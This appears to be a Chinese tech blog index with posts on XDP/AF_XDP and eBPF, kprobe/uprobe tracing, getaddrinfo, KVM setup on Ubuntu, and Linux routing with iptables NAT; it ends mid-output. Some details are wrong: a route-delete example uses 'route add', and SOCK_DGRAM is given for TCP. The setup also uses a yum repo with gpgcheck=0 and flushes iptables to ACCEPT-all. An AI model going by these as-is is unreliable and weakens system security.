socket即XSK去接收数据,直接访问这块内存的数据包。使用XDP技术进行快速的包处理具有如下优势:是Linux内核的一部分。这是一个长期的解决架构方案,由Linux内核社区维护,如同内核的其他部分,具有稳定的API,无需修改内核,无需增加额外的软件框架。使用与内核协同,而非完全内核旁路的方式。XDP可重用所有Linux上游的网络工具和驱动,能够复用内核访问硬件的安全模型。而DPDK等技术则需要使用其专属的网络和安全工具。安全性。由于eBPF验证器(verifier)的存在,一些不安全的指令会被内核拒绝加载。无需独占CPU资源。即便是在空负载的情况下,DPDK也需要使用忙轮询来进行收包检查,分配的CPU核永远是打满的。而XDP可以始终运行,只有在负载升高时才会开始占用CPU。同时XDP程序也是可以运行在多个CPU之上的,这进一步提高了其性能。动态注入。eBPF程序可以随时重新挂载和更新。无需分配巨页。适用性强。高于4.8版本的内核和绝大多数高速网卡都是支持XDP的,无需专有硬件的支持。……xdp_buffer结构体在XDP,我们看到的网络包是以xdp_buffer这个结构体进行保存的,结构体中提供了一些指针,我们可以使用这些指针和各协议头部的偏移量,找到我们需要的头部数据,进而进行读取、比较、校验和修改,搭配上述的返回值以完成我们想要对包进行的控制。struct xdp_rxq_info { struct net_device *dev; u32 queue_index; u32 reg_state; struct xdp_mem_info mem; } ____cacheline_aligned; struct xdp_buff { void *data; void *data_end; void *data_meta; void *data_hard_start; unsigned long handle; struct xdp_rxq_info *rxq; }XDP程序的实现方式在编写XDP程序时,可以采用以下的处理方式:检查包的边界void *data_end = (void *)(long)ctx->data_end; void *data = (void *)(long)ctx->data; if (data + 10 < data_end) // 可以读取这10字节的数据 else // 超过了包的长度,跳过处理保存当前处理数据的位置 struct hdr_cursor{ void *pos; }使用内置的结构体,获取所需的协议头部信息(其中bpf_ntohs()和bpf_htons()用于转换网络字节序和本地字节序)// struct ethhdr --> linux/if_ether.h // struct ipv6hdr --> linux/ipv6.h // struct iphdr --> linux/ip.h // struct icmp6hdr --> linux/icmpv6.h // struct icmphdr --> linux/icmp.h /* SPDX-License-Identifier: GPL-2.0 */ #include <stddef.h> #include <linux/bpf.h> #include <linux/in.h> #include <linux/if_ether.h> #include <linux/if_packet.h> #include <linux/ipv6.h> #include <linux/icmpv6.h> #include <bpf/bpf_helpers.h> #include <bpf/bpf_endian.h> /* Defines xdp_stats_map from packet04 */ #include "../common/xdp_stats_kern_user.h" #include "../common/xdp_stats_kern.h" /* Header cursor to keep track of current parsing position */ struct hdr_cursor { void *pos; }; static __always_inline int parse_ethhdr(struct hdr_cursor *nh, void *data_end, struct ethhdr **ethhdr) { struct ethhdr *eth = nh->pos; int hdrsize = sizeof(*eth); /* Byte-count bounds check; check if current pointer + size of header * is after data_end. */ if (nh->pos + hdrsize > data_end) return -1; nh->pos += hdrsize; *ethhdr = eth; return eth->h_proto; /* network-byte-order */ } SEC("xdp_packet_parser") int xdp_parser_func(struct xdp_md *ctx) { void *data_end = (void *)(long)ctx->data_end; void *data = (void *)(long)ctx->data; struct ethhdr *eth; /* Default action XDP_PASS, imply everything we couldn't parse, or that * we don't want to deal with, we just pass up the stack and let the * kernel deal with it. */ __u32 action = XDP_PASS; /* Default action */ /* These keep track of the next header type and iterator pointer */ struct hdr_cursor nh; int nh_type; /* Start next header cursor position at data start */ nh.pos = data; /* Packet parsing in steps: Get each header one at a time, aborting if * parsing fails. Each helper function does sanity checking (is the * header type in the packet correct?), and bounds checking. */ nh_type = parse_ethhdr(&nh, data_end, ð); if (nh_type != bpf_htons(ETH_P_IPV6)) goto out; /* Assignment additions go below here */ action = XDP_DROP; out: return xdp_stats_record_action(ctx, action); /* read via xdp_stats */ } char _license[] SEC("license") = "GPL";最后判断包应该进行怎样的处理(XDP_DROP...)这部分内容来自一个不错的XDP教程:https://link.zhihu.com/?target=https%3A//github.com/xdp-project/xdp-tutorialAF_XDP是什么XDP程序会把数据帧送到一个在用户态可以读写的队列Memory Buffer(UMEM),用户态应用访问中完成数据帧的读取和写入。使用了AF_XDP,网络包会跳过部分的协议栈,和DPDK相似,DPDK和XDP也被经常在一起对比。XDP技术的使用当前,XDP技术被OVS、Cilium、Polycube等用于网络快速路径的新选择,DPDK也做了AF_XDP PMD。XDP程序在CPU可用来处理的最早时间点被执行,尤其适合DDoS防御、防火墙。Cloudflare在他们的DDoS防御L4Drop中便利用了XDP,丢包规则将被转化为eBPF程序,并挂载到XDP钩子上,相比其他方案,无需用轮询独占CPU核,使用更低CPU资源的同时也能提供更加优秀的丢包性能,在云环境下,这种节省宝贵CPU资源的特性是非常吸引人的。这种Linux的原生技术还在不断为网络处理带来新的思路。2019年,Sebastiano Miano等人使用XDP和TC钩子挂载eBPF程序实现了Linux的防火墙iptable,在规则数量提高的情况下提供相比原始iptable高数倍甚至数十倍的性能。2021年,Yoann Ghigoff等人更是基于eBPF和XDP、TC在内核中实现了一层Memcached的缓存,达到了比DPDK内核旁路方案还要高的性能。智能网卡也开始对eBPF卸载进行了支持,将包处理进一步从网卡驱动层卸载到了网卡,释放了更多的主机CPU资源,实现更高的性能。我们常用的虚拟交换机OVS的团队也在2.12.0版本就开始对AF_XDP进行探索,在2021年SIGCOMM会议上,发表了这些年他们对于数据面的探索,将AF_XDP选型用于其数据面,解决了很多DPDK解决不了的问题。其他的应用场景如负载均衡、流采样和监控……更多的可能正在被学术和工业界探索。结 语作为另一个操作系统巨头,微软从原先“开源公敌”变为拥抱开源、拥抱linux,也在开始拥抱eBPF,ebpf-for-windows是微软的开源项目,用于在Windows 10和Windows Server 2016及以后的版本上运行eBPF,使得开发者可以用熟悉的eBPF工具链和API进行开发。可能不久的将来,Windows也会对eBPF、XDP技术作出更多支持。XDP技术的发展只过了几年,AF_XDP正式合入内核更是不过三年的时间,但它是Linux内核社区长期维护的技术,具有足以媲美DPDK的性能,具备多种独有的优势。待未来更多优化被合入以后,必然是一种网络处理加速的重要技术。paper:The eXpress Data Path: Fast Programmable Packet Processing in the Operating System Kernelrefer:Toke Høiland-Jørgensen, Jesper Dangaard Brouer, Daniel Borkmann, John Fastabend, Tom Herbert, David Ahern, and David Miller. 2018. The eXpress Data Path: Fast Programmable Packet Processing in the Operating System Kernel. In CoNEXT ’18: International Conference on emerging Networking EXperiments and Technologies, December 4–7, 2018, Heraklion, Greece. ACM, New York, NY, USA, 13 pages. https://doi.org/10.1145/3281411.3281443URL:https://arthurchiao.art/blog/xdp-paper-acm-2018-zh/
2023年02月23日
1,060 阅读
0 评论
1 点赞
2023-02-23
eBPF入门与实现
eBPF介绍eBPF: extended Berkeley Packet Filter是对BPF(现在称为cBPF: classic BPF)的扩展, 现在尽管还叫做BPF, 但应用场景已经远远超过了它的名称的范畴。它的应用范围的扩大主要得益于这几方面:内核中BPF字节码虚拟机扩展为一个通用的执行引擎执行可节码的安全校验JIT支持,可以直接将字节码指令转成内核可执行的原生指令运行这样在安全性、可编程性和性能方面的提升都使得eBPF在包过滤以外的其他领域获取巨大的应用空间。eBPF的整体架构图如下:eBPF程序分为两部分:内核态部分: 内核中的eBPF字节码程序负责在内核中处理特定事件,并可以将处理的结果通过maps或者perf-event发送到用户空间用户态部分: 用户态部分主要有两方面作用:加载eBPF字节码程序到内核中与内核态eBPF程序之写读写信息eBPF本身是事件驱动触发的机制,因而需要将特定的内核事件与eBPF字节码程序进行关联。eBPF程序的开发及运行的一个典型过程如下:编写eBPF程序,并编译成字节码,目前只能使用CLANG和LLVM编译成eBPF字节码将eBPF程序加载到内核中,内核会校验字节码避免内核崩溃将内核事件与eBPF程序进行关联内核事件发生时,eBPF程序执行,发送信息给用户态程序用户态程序读取相关信息由于要使用CLANG和LLVM来编译eBPF程序,而CentOS7上默认yum安装的CLANG和LLVM的版本比较老,不支持eBPF的编译。可以从这个repo中安装, 在/etc/yum.repos.d/下创建文件c7-llvm.repo文件, 内容如下:[c7-llvm-toolset-9] name=c7-llvm-toolset-9 baseurl=https://buildlogs.centos.org/c7-llvm-toolset-9.0.x86_64/ gpgcheck=0 enabled=1然后执行以下命令进行安装并启用:Kprobe & Uprobe - Linux Tracinguprobe和kprobe经过长期的发展, kprobes/uprobes 机制在事件(events)的基础上分别为内核态和用户态提供了追踪调试的功能, 这也构成了 tracepoint 机制的基础, 后期的很多工具, 比如 perf_events, ftrace 等都是在其基础上演化而来. 参考由 Brendan Gregg 提供的资料来看, kprobes/uprobes 在 Linux 动态追踪层面起到了基石的作用, 如下所示:引用: https://blog.arstercz.com/introduction_to_linux_dynamic_tracing/Kprobe 和 Uprobe 均可以通过 ftrace 的 /sys/debug/tracing interface (基于 debugfs 的用户空间层面的 API) 执行各种跟踪和分析,虽然 ftrace 的内部是复杂的, 不过输出的信息却以简单明了为主,更详细的使用示例可以参考 , 如下图所示, 大致为 ftrace 的原理:Krpobe 介绍kprobe是linux内核的一个重要特性,是其他的内核调试工具(perf, systemtap)的“基础设施”,同时内核 BPF 也依赖 kprobe它利用指令桩原理,截获指令流,并在指令执行前后插入hook函数:如果需要知道内核函数是否被调用、被调用上下文、入参以及返回值,比较简单的方法是加printk,但是效率低。利用kprobe技术,用户可以自定义自己的回调函数,可以再几乎所有的函数中动态插入探测点。当内核执行流程执行到指定的探测函数时,会调用该回调函数,用户即可收集所需的信息了,同时内核最后还会回到原本的正常执行流程。如果用户已经收集足够的信息,不再需要继续探测,则同样可以动态的移除探测点。kprobes技术包括的2种探测手段分别时kprobe 和 kretprobe:kprobe是最基本的探测方式,是实现后两种的基础,它可以在任意的位置放置探测点(就连函数内部的某条指令处也可以),它提供了探测点的调用前、调用后和内存访问出错3种回调方式,分别是pre_handler、post_handler和fault_handler,其中pre_handler函数将在被探测指令被执行前回调,post_handler会在被探测指令执行完毕后回调(注意不是被探测函数),fault_handler会在内存访问出错时被调用。retprobe从名字种就可以看出其用途了,它同样基于kprobe实现,用于获取被探测函数的返回值。查看kprobe 可hook的表:/sys/kernel/debug/tracing基本使用指南编译镜像的时候配置开启内核:Symbol: FTRACE [=y] Type : boolean Prompt: Tracers Location: (5) -> Kernel hacking Defined at kernel/trace/Kconfig:132 Depends on: TRACING_SUPPORT [=y] Symbol: KPROBE_EVENT [=y] Type : boolean Prompt: Enable kprobes-based dynamic events Location: -> Kernel hacking (1) -> Tracers (FTRACE [=y]) Defined at kernel/trace/Kconfig:405 Depends on: TRACING_SUPPORT [=y] && FTRACE [=y] && KPROBES [=y] && HAVE_REGS_AND_STACK_ACCESS_API [=y] Selects: TRACING [=y] && PROBE_EVENTS [=y] Symbol: HAVE_KPROBES_ON_FTRACE [=y] Type : boolean Defined at arch/Kconfig:183 Selected by: csky [=y] Symbol: KPROBES_ON_FTRACE [=y] Type : boolean Defined at arch/Kconfig:79 Depends on: KPROBES [=y] && HAVE_KPROBES_ON_FTRACE [=y] && DYNAMIC_FTRACE_WITH_REGS [=y] 终端运行: 首先通过 mount 获得 ftrace debug 接口,然后通过 kprobe_evets 注册你需要 probe 的内核函数,在 tracing/events/kprobes// 下可以控制该 kprobe 函数的 开启和关闭 # mount -t debugfs nodev /sys/kernel/debug/ # echo 'p:myprobe _do_fork dfd=%a0 filename=%a1 flags=%a2 mode=+4($stack)' > /sys/kernel/debug/tracing/kprobe_events # echo 'r:myretprobe _do_fork $retval' >> /sys/kernel/debug/tracing/kprobe_events # echo 1 > /sys/kernel/debug/tracing/events/kprobes/myprobe/enable # echo 1 > /sys/kernel/debug/tracing/events/kprobes/myretprobe/enable # cat /sys/kernel/debug/tracing/trace # tracer: nop # # entries-in-buffer/entries-written: 8/8 #P:1 # # _-----=> irqs-off # / _----=> need-resched # | / _---=> hardirq/softirq # || / _--=> preempt-depth # ||| / delay # TASK-PID CPU# |||| TIMESTAMP FUNCTION # | | | |||| | | swapper/0-1 [000] dn.. 2.488544: Unknown type 599 swapper/0-1 [000] dn.. 2.489270: Unknown type 600 sh-121 [000] d... 408.113780: myprobe: (_do_fork+0x0/0x3ac) dfd=0xbe485f20 filename=0x0 flags=0x0 mode=0x0 sh-121 [000] d... 408.117058: myretprobe: (sys_clone+0xa6/0xac <- _do_fork) arg1=0x82 sh-121 [000] d... 409.816850: myprobe: (_do_fork+0x0/0x3ac) dfd=0xbe485f20 filename=0x0 flags=0x0 mode=0x0 sh-121 [000] dn.. 409.817539: myretprobe: (sys_clone+0xa6/0xac <- _do_fork) arg1=0x83 sh-121 [000] d... 411.202079: myprobe: (_do_fork+0x0/0x3ac) dfd=0xbe485f20 filename=0x0 flags=0x0 mode=0x0 sh-121 [000] d... 411.202750: myretprobe: (sys_clone+0xa6/0xac <- _do_fork) arg1=0x84内核态只能在/sys/kernel/debug/tracing规定的位置设置 kprobe 桩点Uprobe使用ftrace 基础使用:先准备一个应用程序,测试代码:#include <stdio.h> #include <unistd.h> static void print_curr_state_one(void) { printf("This is the print current state one function\n"); } static void print_curr_state_two(void) { printf("This is the print current state two function\n"); } int main() { while(1) { print_curr_state_one(); sleep(1); print_curr_state_two(); } }编译并获取可执行文件和反汇编 (9 系列请使用 riscv-linux-gcc):➜ csky-linux-gcc test.c -o test ➜ linux-next git:(linux-next-ftrace-kprobe-uprobe-simlutate-insn) ✗ ../artifacts/output_860_next/images/host/bin/csky-linux-objdump -S test 00008518 <print_curr_state_one>: 8518: 1422 subi sp, sp, 8 851a: dd0e2000 st.w r8, (sp, 0) 851e: ddee2001 st.w r15, (sp, 0x4) 8522: 6e3b mov r8, sp 8524: 1006 lrw r0, 0x8698 // 853c <print_curr_state_one+0x24> 8526: eae00007 jsri 0x0 // from address pool at 0x8540 852a: 6c00 or r0, r0 852c: 6fa3 mov sp, r8 852e: d9ee2001 ld.w r15, (sp, 0x4) 8532: d90e2000 ld.w r8, (sp, 0) 8536: 1402 addi sp, sp, 8 8538: 783c rts 853a: 0000 .short 0x0000 853c: 00008698 .long 0x00008698 8540: 00000000 .long 0x00000000 00008544 <print_curr_state_two>: 8544: 1422 subi sp, sp, 8 8546: dd0e2000 st.w r8, (sp, 0) 854a: ddee2001 st.w r15, (sp, 0x4) 854e: 6e3b mov r8, sp 8550: 100d lrw r0, 0x86c8 // 8584 <main+0x1c> 8552: eae0000e jsri 0x0 // from address pool at 0x8588 8556: 6c00 or r0, r0 8558: 6fa3 mov sp, r8 855a: d9ee2001 ld.w r15, (sp, 0x4) 855e: d90e2000 ld.w r8, (sp, 0) 8562: 1402 addi sp, sp, 8 8564: 783c rts ... 00008568 <main>: 8568: 1422 subi sp, sp, 8 856a: dd0e2000 st.w r8, (sp, 0) 856e: ddee2001 st.w r15, (sp, 0x4) 8572: 6e3b mov r8, sp 8574: e3ffffd2 bsr 0x8518 // 8518 <print_curr_state_one> 8578: 3001 movi r0, 1 857a: eae00006 jsri 0x0 // from address pool at 0x8590 857e: e3ffffe3 bsr 0x8544 // 8544 <print_curr_state_two> 8582: 07f9 br 0x8574 // 8574 <main+0xc> ➜ linux-next git:(linux-next-ftrace-kprobe-uprobe-simlutate-insn) ✗ ../artifacts/output_860_next/images/host/bin/csky-linux-readelf -S test There are 28 section headers, starting at offset 0x1cd8: Section Headers: [Nr] Name Type Addr Off Size ES Flg Lk Inf Al [ 0] NULL 00000000 000000 000000 00 0 0 0 [ 1] .interp PROGBITS 00008134 000134 00000d 00 A 0 0 1 [ 2] .note.ABI-tag NOTE 00008144 000144 000020 00 A 0 0 4 [ 3] .hash HASH 00008164 000164 00003c 04 A 4 0 4 [ 4] .dynsym DYNSYM 000081a0 0001a0 0000a0 10 A 5 1 4 [ 5] .dynstr STRTAB 00008240 000240 000098 00 A 0 0 1 [ 6] .gnu.version VERSYM 000082d8 0002d8 000014 02 A 4 0 2 [ 7] .gnu.version_r VERNEED 000082ec 0002ec 000020 00 A 5 1 4 [ 8] .rela.dyn RELA 0000830c 00030c 00009c 0c A 4 0 4 [ 9] .init PROGBITS 000083b0 0003b0 000030 00 AX 0 0 16 [10] .text PROGBITS 000083e0 0003e0 000282 00 AX 0 0 16根据程序反汇编编插 uprobe 桩echo 'p:enter_current_state_one /root/test:0x518 arg0=%a0 lr=%lr' >> /sys/kernel/debug/tracing/uprobe_events echo 'r:exit_current_state_one /root/test:0x518 arg0=%a0' >> /sys/kernel/debug/tracing/uprobe_events echo 'p:enter_current_state_two /root/test:0x544 arg0=%a0 lr=%lr' >> /sys/kernel/debug/tracing/uprobe_events echo 'r:exit_current_state_two /root/test:0x544 arg0=%a0' >> /sys/kernel/debug/tracing/uprobe_events echo 1 > /sys/kernel/debug/tracing/events/uprobes/enable cat /sys/kernel/debug/tracing/trace用户态任意位置都可以设置 uprobe 桩点Perf probe 使用:除了 ftrace,我们还可以使用 Perf probe -x 动态跟踪点是一种可观察性功能,可实现以下功能:甚至不需要重新编译就可以插装源代码的任意行。 有了程序源代码的副本,跟踪点可以在运行时放置在任何地方,并且每个变量的值都可以转储时间执行通过跟踪点。 这是一项非常强大的技术,用于检测其他人编写的复杂系统或代码。perf probe -x /lib/libc.so.6 memcpy perf record -e probe_libc:memcpy -aR ls perf reportBPF学习BPF maps的相关操作eBPF是一个用RISC指令集设计的VM,他可以通过运行BPF程序来跟踪内核函数、内存等。使用BPF系统调用操作BPF:eBPF hook 原理ebpf参数:bpf_tracing.h#define PT_REGS_PARM1(x) ((x)->di) #define PT_REGS_PARM2(x) ((x)->si) #define PT_REGS_PARM3(x) ((x)->dx) #define PT_REGS_PARM4(x) ((x)->cx) #define PT_REGS_PARM5(x) ((x)->r8) #define PT_REGS_RET(x) ((x)->sp) #define PT_REGS_FP(x) ((x)->bp) #define PT_REGS_RC(x) ((x)->ax) #define PT_REGS_SP(x) ((x)->sp) #define PT_REGS_IP(x) ((x)->ip) #define PT_REGS_PARM1_CORE(x) BPF_CORE_READ((x), di) #define PT_REGS_PARM2_CORE(x) BPF_CORE_READ((x), si) #define PT_REGS_PARM3_CORE(x) BPF_CORE_READ((x), dx) #define PT_REGS_PARM4_CORE(x) BPF_CORE_READ((x), cx) #define PT_REGS_PARM5_CORE(x) BPF_CORE_READ((x), r8) #define PT_REGS_RET_CORE(x) BPF_CORE_READ((x), sp) #define PT_REGS_FP_CORE(x) BPF_CORE_READ((x), bp) #define PT_REGS_RC_CORE(x) BPF_CORE_READ((x), ax) #define PT_REGS_SP_CORE(x) BPF_CORE_READ((x), sp) #define PT_REGS_IP_CORE(x) BPF_CORE_READ((x), ip)2.2.1 寄存器寄存器如下 (这里对比 x86_64 做说明):R0: RAX, 存放函数返回值或程序退出状态码 R1: RDI,第一个实参 R2: RSI,第二个实参 R3: RDX,第三个实参 R4: RCX,第四个实参 R5: R8,第五个实参 (别问为啥没有第六个实参) R6: RBX, callee saved R7: R13, callee saved (别问为啥没有R12) R8: R14, callee saved R9: R15, callee saved R10: RBP, 只读栈帧通过寄存器的设计,我们可以看到,每个函数调用允许5个参数,这些参数只允许立即数或者指向自己的ebpf栈(通用内核栈是不被允许的)上的指针,所有的内存访问必须先把数据放到ebpf自己的栈上(512字节的栈),才能被ebpf程序进一步操作。getaddrinfogethostbyname 和 gethostbyaddr 这两个函数仅支持IPv4。getaddrinfo 支持名字到地址以及服务到端口的转换,同时支持IPv4和IPv6。getaddrinfo 使用通用套接字结构 sockaddr,隐藏了具体协议的实现。getaddrinfo 函数原型如下:#include <netdb.h> int getaddrinfo(const char *hostname, const char *service, const struct addrinfo *hints, struct addrinfo **result); - hostname : 主机名或字符串形式地址("1.1.1.1", "1111::9999") - service : 服务名或字符串形式端口号 - hints : 期望返回哪些内容,可以为NULL - results : 查询结果数组指针 - return : 成功返回0,失败返回非0hints 表示希望返回什么结果,比如,只想返回TCP结果,可以让 hints 指向的ai_socktype等于SOCK_DGRAM。返回值中的sockaddr可以直接用于sock函数的调用。struct addrinfo的定义其中,struct addrinfo 的定义如下:struct addrinfo { int ai_flags; /* 标志位 */ int ai_family; /* 协议族: AF_INET|AF_INET6|AF_UNSPEC... */ int ai_socktype; /* sock类型: SOCK_DGRAM|SOCK_STREAM */ int ai_protocol; /* 协议类型: IPPROTO_IP|IPPROTO_IPV6... */ socklen_t ai_addrlen; /* 地址结构长度 */ char *ai_canonname; /* host的正式名称 */ struct sockaddr *ai_addr; /* 地址结构 */ struct addrinfo *ai_next; /* result是个链表结构,ai_next指向下一个addrinfo */ }hints详解hint中 ai_flags 标志及含义如下:表示 含义 AI_PASSIVE 套接字被动打开,服务端调用 AI_CANONNAME 返回主机的规范名字 AI_NUMERICHOST 输入的host必须是字符串表示的地址 AI_NUMERICSERV 输入的service必须是字符串表示的端口号 AI_V4MAPPED 如果ai_family等于AF_INET6,但是只有A记录,没有AAAA记录,那么把IPv4地址映射成IPv6地址返回 AI_ALL 即返回AAAA记录,又返回IPv4映射的IPv6地址 AI_ADDRCONFIG 根据主机地址返回结果,如主机是V4的,那么只返回A记录,如果主机是双栈的,那么也返回AAAA记录gai_strerror以getaddrinfo的返回值作为参数,gai_strerror可以获取错误返回值对应的错误信息。#include <netdb.h> const char *gai_strerror(error); - return : 返回指向错误信息的指针freeaddrinfogetaddrinfo返回的addrinfo中,所有的字段都是动态分配的,调用freeaddrinfo释放分配的内存。#include <netdb.h> void freeaddrinfo(struct addrinfo *ai);
2023年02月23日
976 阅读
0 评论
0 点赞
2022-11-30
在 Ubuntu Server 20.04 上安装 KVM
KVM(基于内核的虚拟机)是一个内置于Linux内核的开源虚拟化技术。它允许你基于 Linux 或者 Windows 运行多个隔离的客户机虚拟机器。每一个客户机都拥有自己的操作系统和专用的虚拟硬件,例如 CPU(s), 内存, 网络接口和存储。这篇指南提供了关于如何在 Ubuntu Server 20.04 上安装和配置 KVM 的指令。我们也会向你展示如何创建虚拟机,它们将被用作不同应用的开发环境。1. 前提条件1.1 检查系统是否满足KVM条件想要运行超过 2GB 内存的客户机,你必须拥有一个 64位主机系统。在继续安装之前,确保你的 Ubuntu 主机支持 KVM 虚拟化。这个系统必须拥有 支持 VT-x(vmx)的 Intel 处理器 或者支持 AMD-V (svm) 技术的 AMD 处理器。输入下面的grep命令来看看你的吹气是否支持硬件虚拟化:grep -Eoc '(vmx|svm)' /proc/cpuinfo如果你的 CPU 支持硬件虚拟化,这个命令将会打印出大于0的数字,这代表 CPU 核心数目。否则,如果输出为0,它意味着这个 CPU 不支持硬件虚拟化。在一些机器上,虚拟化技术可能被厂商在 BIOS 中禁用了。想要检查 VT 是否在 BIOS 中启用了,使用kvm-ok工具,它被包含在cpu-checker软件包。以 root 或者其他有 sudo 权限用户身份运行下面的命令,安装这个软件包:sudo apt update sudo apt install cpu-checker一旦安装完成,检查你的系统是否可以运行硬件加速的 KVM 虚拟机:kvm-ok如果处理器虚拟化能力没有在 BIOS 中被禁用,命令将会打印出:INFO: /dev/kvm exists KVM acceleration can be used否则,这个命令将会打印一个失败信息,和一个关于如何启用这个组件的简短消息。启用 AMD-V 或者 VT 技术的过程依赖于你的主板和处理器类型。根据你的主板文档信息来配置你的系统 BIOS。1.2 安装ubuntu桌面环境首先更新镜像仓库,命令行运行以下命令更新apt-get update apt-get upgrade安装桌面apt-get install -y ubuntu-desktop3、安装xrdpapt-get install -y xrdp安装完成后,即可使用Windows远程桌面工具登录Ubuntu。2. 在 Ubuntu 20.04 上安装 KVM运行下面的命令安装 KVM,和额外的虚拟化管理软件包:sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virtinst virt-managerqemu-kvm - 为 KVM 管理程序提供硬件模拟的软件程序libvirt-daemon-system - 将 libvirt 守护程序作为系统服务运行的配置文件libvirt-clients - 用来管理虚拟化平台的软件bridge-utils - 用来配置网络桥接的命令行工具virtinst - 用来创建虚拟机的命令行工具virt-manager - 提供一个易用的图形界面,并且通过libvirt 支持用于管理虚拟机的命令行工具一旦软件包被安装好,libvirt 守护程序将会自动启动。你可以通过运行下面的命令,验证它:sudo systemctl is-active libvirtd输出:active想要创建和管理虚拟机,你需要添加你的用户到“libvirt” 和 “kvm” 用户组。输入:sudo usermod -aG libvirt $USER sudo usermod -aG kvm $USER$USER是一个环境变量,用来记住当前登录用户的名字。登出,并且重新登录,以便用户组被刷新。3. 网络设置在libvirt 安装过程中,一个被称为 “virbr0”的桥接设备默认被创建。这个设备使用 NAT 来连接客户机到外面的世界。运行 brctl 工具来列出当前的桥接和它们连接的接口:brctl show输出:bridge name bridge id STP enabled interfaces virbr0 8000.52540089db3f yes virbr0-nic“virbr0” 桥接没有添加任何的物理接口。“virbr0-nic”是一个虚拟设备,没有任何流量通过。这个设备唯一的目的就是避免修改“virbr0” 桥接的 MAC 地址。网络设置适合大部分 Ubuntu 桌面用户,但是有限制。如果你想从外面的本地网络访问客户机,你需要创建一个新的桥接,并且配置它,以便客户机可以通过主机的物理接口连接到外部世界。4. 创建虚拟机现在 KVM 在你的 Ubuntu 桌面被安装,让我们一起去创建第一个虚拟机。我们可以从命令行或者使用virt-manager应用。下载你想要安装的操作系统的 ISO 镜像并且按照下面的步骤来创建你的虚拟机:在搜索栏输入“Virtual Machine Manager”并且点击图标来启动应用。在应用启动后,从顶部菜单点击“File” -> “New Virtual Machine”:一个新窗口将会显示。选择 “Local install media” 并且点击 “Forward” 按钮。提供你的 ISO 镜像路径,并且点击 Forward 按钮。在下一个屏幕,选择虚拟机 VM 的内存和 CPU 设置。点 Forward。下一步,选择“Create a disk image for the virtual machine” 并且选择虚拟机的磁盘空间大小。点击 Forward。输入你的虚拟机名字并且点击 “Finish”。虚拟机启动,并且一个新窗口将会打开:从这里,你就可以按照屏幕的操作,去完成操作系统的安装。一旦操作系统被安装好,你可以从virt-manager去访问它,使用 ssh 或者使用 Serial Console 接口。5. 总结我们为你展示如何在 Ubuntu 20.04 系统上安装 KVM。现在你可以创建 Windows 或者 Linux 客户机。想要查找更多关于 KVM 的信息,浏览:KVM 文档页面。参考如何在 Ubuntu 20.04 上安装 KVMUbuntu Server LTS 20.04 安装桌面
2022年11月30日
200 阅读
0 评论
0 点赞
2022-11-11
关于 linux 内核路由表和iptables原理
1. linux 内核路由表1.1 内核路由表的操作1. 查看路由sudo route -n #查看当前的路由列表2. 删除路由sudo route del default #删除默认路由 sudo route del default enp2s0 # 删除指定网卡的默认路由 sudo route add -net 6.6.6.0/24 gw 5.5.5.250 #删除指定路由3. 添加路由sudo route add-net Destination/genmask gw Gateway #添加到网络的路由 sudo route add –host Destination/genmask gw Gateway #添加到主机的路由 sudo route add default gw IP #添加默认网关 sudo route -n #查看当前的路由列表4. 添加默认网关sudo route add default gw IP #添加默认网关 1.2 设置NAT转发单片机有两个网口,分别为eth0和lan0,操作系统为debian,现在要使eth0通过dhcp连接到公网,并且lan0属于网络为192.168.0.1/24具体的拓扑结构eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 222.204.56.145 netmask 255.255.240.0 broadcast 222.204.63.255 ... lan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255 ... lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 ...配置1. 首先配置lan0的ip地址orangepi-r1plus-lts:~:% sudo vim /etc/network/interfaces写入如下source /etc/network/interfaces.d/* # Network is managed by Network manager auto lo #iface lo inet loopback auto lan0 #开机自动连接网络,lan0取决于你安装Debian时系统分配的interface #auto eth0 #ifcae eth0 inet dhcp iface lo inet loopback allow-hotplug lan0 iface lan0 inet static #static表示使用固定ip,dhcp表述使用动态ip address 192.168.0.1 #设置ip地址 netmask 255.255.255.0 #设置子网掩码 #gateway 192.168.0.1 #设置网关(这个取决于你路由器的设置) 2. 设置流量转发orangepi-r1plus-lts:hsm:# echo 1 > /proc/sys/net/ipv4/ip_forward3. 设置iptablesorangepi-r1plus-lts:~:% sudo iptables -F orangepi-r1plus-lts:~:% sudo iptables -P INPUT ACCEPT orangepi-r1plus-lts:~:% sudo iptables -P FORWARD ACCEPT orangepi-r1plus-lts:~:% sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE检查1. 检查网卡配置信息ifconfig结果eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 222.204.56.145 netmask 255.255.240.0 broadcast 222.204.63.255 inet6 fe80::4bf2:565:7c18:e2d3 prefixlen 64 scopeid 0x20<link> inet6 2001:250:6c00:1002::f449 prefixlen 128 scopeid 0x0<global> ether 76:34:40:8c:9a:7d txqueuelen 1000 (Ethernet) RX packets 17955 bytes 12111755 (11.5 MiB) RX errors 0 dropped 723 overruns 0 frame 0 TX packets 20377 bytes 4711270 (4.4 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 device interrupt 40 lan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.0.1 netmask 255.255.255.0 broadcast 192.168.0.255 inet6 fe80::7434:40ff:fe8c:9a9d prefixlen 64 scopeid 0x20<link> ether 76:34:40:8c:9a:9d txqueuelen 1000 (Ethernet) RX packets 30917 bytes 5115991 (4.8 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 17216 bytes 11875605 (11.3 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 0 bytes 0 (0.0 B) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 0 bytes 0 (0.0 B) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 02. 检查网络服务启动情况sudo systemctl status networking.service ● networking.service - Raise network interfaces Loaded: loaded (/lib/systemd/system/networking.service; enabled; vendor preset: enabled) Active: active (exited) since Wed 2022-11-23 16:36:09 CST; 32min ago Docs: man:interfaces(5) Process: 497 ExecStart=/sbin/ifup -a --read-environment (code=exited, status=0/SUCCESS) Main PID: 